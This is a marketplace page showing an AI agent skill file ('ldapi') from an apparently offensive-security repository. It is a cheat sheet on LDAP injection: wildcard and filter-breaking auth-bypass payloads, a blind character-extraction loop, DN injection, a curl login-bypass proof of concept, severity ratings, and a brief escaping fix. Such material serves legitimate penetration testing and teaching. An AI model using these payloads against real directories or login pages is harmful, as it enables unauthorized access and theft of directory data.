Skip to main content

ldapi

LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
26 de mayo de 2026 a las 03:12
Idioma detectado de SKILL.md
inglés
Estrellas
5611
Forks
1061

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
ldapi
description
LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.
metadata
{"when_to_use":"ldap injection auth bypass active directory filter dn search","mitre_attack":"T1190","subdomain":"injection","upstream_ref":"skills/_corpus/payloads/LDAP Injection/"}
# LDAP Injection LDAP filter syntax: `(attr=value)`, combined with `&` (and), `|` (or), `!` (not). User input concatenated into the filter string = injection. ## 1. Auth bypass ```python # Vulnerable code filter = f"(&(uid={user})(userPassword={pw}))" # Payload — comment-out rest of filter via wildcard user = "*" pw = "*" # → (&(uid=*)(userPassword=*)) → matches first user, often admin user = "admin)(|(uid=*" pw = "anything" # → (&(uid=admin)(|(uid=*))(userPassword=anything)) # → matches admin OR anyone (second clause), password check ignored ``` ## 2. Blind extraction ```python # Boolean-blind: probe each char via wildcard match for c in string.printable: payload = f"*)(uid=admin)(description={c}*)" if "found" in response: # next char is c ``` ## 3. DN injection ``` # If userdn is constructed from input DN = f"cn={user},ou=People,dc=corp,dc=local" # user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local # (or sometimes confuses the bind) ``` ## 4. Common vulnerable apps - Custom auth backends w/ python-ldap or ldap3 lib direct-format - Legacy Java apps w/ JNDI w/o escaping - DokuWiki / older intranets ## 5. Tools - Manual via Burp Repeater (most cases need careful crafting) - `ldapsearch` to verify directly once you have any cred - Burp Intruder w/ payloads from `_corpus/payloads/LDAP Injection/` ## 6. PoC ```bash curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug ``` ## 7. Severity | Bug | Severity | |---|---| | Auth bypass via wildcard | Critical 9.8 | | Blind extract of full LDAP directory | Critical 9.0 | | DN injection enabling group escalation | High 8.0 | ## 8. Defender ```python import ldap3 # Use parameterized search filters via library helpers from ldap3.utils.conv import escape_filter_chars safe_user = escape_filter_chars(user) conn.search('dc=corp,dc=local', f'(uid={safe_user})') ``` ## Cross-references - Upstream catalog: `skills/_corpus/payloads/LDAP Injection/` - AD attack patterns (different layer): `skills/ad/SKILL.md`
Ver en GitHub